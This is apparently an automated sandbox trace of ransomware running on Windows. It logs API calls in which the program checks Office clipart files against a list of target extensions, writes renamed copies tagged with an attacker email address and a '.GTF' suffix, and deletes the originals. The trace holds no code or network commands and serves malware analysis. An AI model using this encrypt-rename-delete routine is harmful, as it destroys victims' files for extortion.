	[0176.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.367] lstrlenW (lpString=".jpg") returned 4
	[0176.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.367] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.367] lstrlenW (lpString="J0152688.WMF") returned 12
	[0176.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.369] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=34676) returned 1
	[0176.369] CloseHandle (hObject=0x570) returned 1
	[0176.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 0x220
	[0176.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.574] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.574] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0176.605] GetLastError () returned 0x0
	[0176.605] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x8774, lpOverlapped=0x0) returned 1
	[0176.608] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x8780, lpOverlapped=0x0) returned 1
	[0176.609] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.609] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.609] SetEndOfFile (hFile=0x588) returned 1
	[0176.609] CloseHandle (hObject=0x588) returned 1
	[0176.610] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.610] SetEndOfFile (hFile=0x570) returned 1
	[0176.616] CloseHandle (hObject=0x570) returned 1
	[0176.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1
	[0176.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.619] lstrlenW (lpString=".doc") returned 4
	[0176.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.619] lstrlenW (lpString=".docx") returned 5
	[0176.619] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.619] lstrlenW (lpString=".pdf") returned 4
	[0176.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.619] lstrlenW (lpString=".xls") returned 4
	[0176.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.619] lstrlenW (lpString=".xlsx") returned 5
	[0176.619] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.619] lstrlenW (lpString=".ppt") returned 4
	[0176.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.619] lstrlenW (lpString=".zip") returned 4
	[0176.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.619] lstrlenW (lpString=".rar") returned 4
	[0176.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.619] lstrlenW (lpString=".bz2") returned 4
	[0176.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.619] lstrlenW (lpString=".7z") returned 3
	[0176.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.619] lstrlenW (lpString=".dbf") returned 4
	[0176.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.619] lstrlenW (lpString=".1cd") returned 4
	[0176.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.620] lstrlenW (lpString=".jpg") returned 4
	[0176.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.620] lstrlenW (lpString=".doc") returned 4
	[0176.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.620] lstrlenW (lpString=".docx") returned 5
	[0176.620] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.620] lstrlenW (lpString=".pdf") returned 4
	[0176.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.620] lstrlenW (lpString=".xls") returned 4
	[0176.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.620] lstrlenW (lpString=".xlsx") returned 5
	[0176.620] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.620] lstrlenW (lpString=".ppt") returned 4
	[0176.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.620] lstrlenW (lpString=".zip") returned 4
	[0176.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.620] lstrlenW (lpString=".rar") returned 4
	[0176.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.620] lstrlenW (lpString=".bz2") returned 4
	[0176.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.620] lstrlenW (lpString=".7z") returned 3
	[0176.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.620] lstrlenW (lpString=".dbf") returned 4
	[0176.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.620] lstrlenW (lpString=".1cd") returned 4
	[0176.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0176.621] lstrlenW (lpString=".jpg") returned 4
	[0176.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.621] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.621] lstrlenW (lpString="J0152702.WMF") returned 12
	[0176.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.624] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=1208) returned 1
	[0176.624] CloseHandle (hObject=0x570) returned 1
	[0176.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 0x220
	[0176.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.625] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.625] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0176.626] GetLastError () returned 0x0
	[0176.626] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4b8, lpOverlapped=0x0) returned 1
	[0176.627] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0176.629] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.629] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.629] SetEndOfFile (hFile=0x588) returned 1
	[0176.629] CloseHandle (hObject=0x588) returned 1
	[0176.629] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.629] SetEndOfFile (hFile=0x570) returned 1
	[0176.632] CloseHandle (hObject=0x570) returned 1
	[0176.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 1
	[0176.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.633] lstrlenW (lpString=".doc") returned 4
	[0176.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.633] lstrlenW (lpString=".docx") returned 5
	[0176.633] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.633] lstrlenW (lpString=".pdf") returned 4
	[0176.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.633] lstrlenW (lpString=".xls") returned 4
	[0176.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.634] lstrlenW (lpString=".xlsx") returned 5
	[0176.634] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.634] lstrlenW (lpString=".ppt") returned 4
	[0176.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.634] lstrlenW (lpString=".zip") returned 4
	[0176.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.634] lstrlenW (lpString=".rar") returned 4
	[0176.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.634] lstrlenW (lpString=".bz2") returned 4
	[0176.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.634] lstrlenW (lpString=".7z") returned 3
	[0176.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.634] lstrlenW (lpString=".dbf") returned 4
	[0176.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.634] lstrlenW (lpString=".1cd") returned 4
	[0176.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.634] lstrlenW (lpString=".jpg") returned 4
	[0176.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.634] lstrlenW (lpString=".doc") returned 4
	[0176.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.634] lstrlenW (lpString=".docx") returned 5
	[0176.634] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.634] lstrlenW (lpString=".pdf") returned 4
	[0176.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.634] lstrlenW (lpString=".xls") returned 4
	[0176.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.635] lstrlenW (lpString=".xlsx") returned 5
	[0176.635] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.635] lstrlenW (lpString=".ppt") returned 4
	[0176.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.635] lstrlenW (lpString=".zip") returned 4
	[0176.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.635] lstrlenW (lpString=".rar") returned 4
	[0176.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.635] lstrlenW (lpString=".bz2") returned 4
	[0176.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.635] lstrlenW (lpString=".7z") returned 3
	[0176.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.635] lstrlenW (lpString=".dbf") returned 4
	[0176.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.635] lstrlenW (lpString=".1cd") returned 4
	[0176.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0176.635] lstrlenW (lpString=".jpg") returned 4
	[0176.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.635] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.636] lstrlenW (lpString="J0152704.WMF") returned 12
	[0176.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.637] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=1652) returned 1
	[0176.637] CloseHandle (hObject=0x570) returned 1
	[0176.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 0x220
	[0176.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.637] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.637] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0176.638] GetLastError () returned 0x0
	[0176.638] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x674, lpOverlapped=0x0) returned 1
	[0176.640] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x680, lpOverlapped=0x0) returned 1
	[0176.641] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.641] WriteFile (in: hFile=0x588, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.641] SetEndOfFile (hFile=0x588) returned 1
	[0176.661] CloseHandle (hObject=0x588) returned 1
	[0176.676] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.676] SetEndOfFile (hFile=0x570) returned 1
	[0176.680] CloseHandle (hObject=0x570) returned 1
	[0176.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1
	[0176.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.681] lstrlenW (lpString=".doc") returned 4
	[0176.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.681] lstrlenW (lpString=".docx") returned 5
	[0176.681] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.681] lstrlenW (lpString=".pdf") returned 4
	[0176.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.681] lstrlenW (lpString=".xls") returned 4
	[0176.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.681] lstrlenW (lpString=".xlsx") returned 5
	[0176.681] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.681] lstrlenW (lpString=".ppt") returned 4
	[0176.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.682] lstrlenW (lpString=".zip") returned 4
	[0176.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.682] lstrlenW (lpString=".rar") returned 4
	[0176.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.682] lstrlenW (lpString=".bz2") returned 4
	[0176.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.682] lstrlenW (lpString=".7z") returned 3
	[0176.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.682] lstrlenW (lpString=".dbf") returned 4
	[0176.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.682] lstrlenW (lpString=".1cd") returned 4
	[0176.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.682] lstrlenW (lpString=".jpg") returned 4
	[0176.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.682] lstrlenW (lpString=".doc") returned 4
	[0176.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.682] lstrlenW (lpString=".docx") returned 5
	[0176.682] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.682] lstrlenW (lpString=".pdf") returned 4
	[0176.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.682] lstrlenW (lpString=".xls") returned 4
	[0176.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.682] lstrlenW (lpString=".xlsx") returned 5
	[0176.682] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.682] lstrlenW (lpString=".ppt") returned 4
	[0176.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.683] lstrlenW (lpString=".zip") returned 4
	[0176.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.683] lstrlenW (lpString=".rar") returned 4
	[0176.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.683] lstrlenW (lpString=".bz2") returned 4
	[0176.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.683] lstrlenW (lpString=".7z") returned 3
	[0176.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.683] lstrlenW (lpString=".dbf") returned 4
	[0176.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68
	[0176.683] lstrlenW (lpString=".1cd") returned 4
	[0176.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
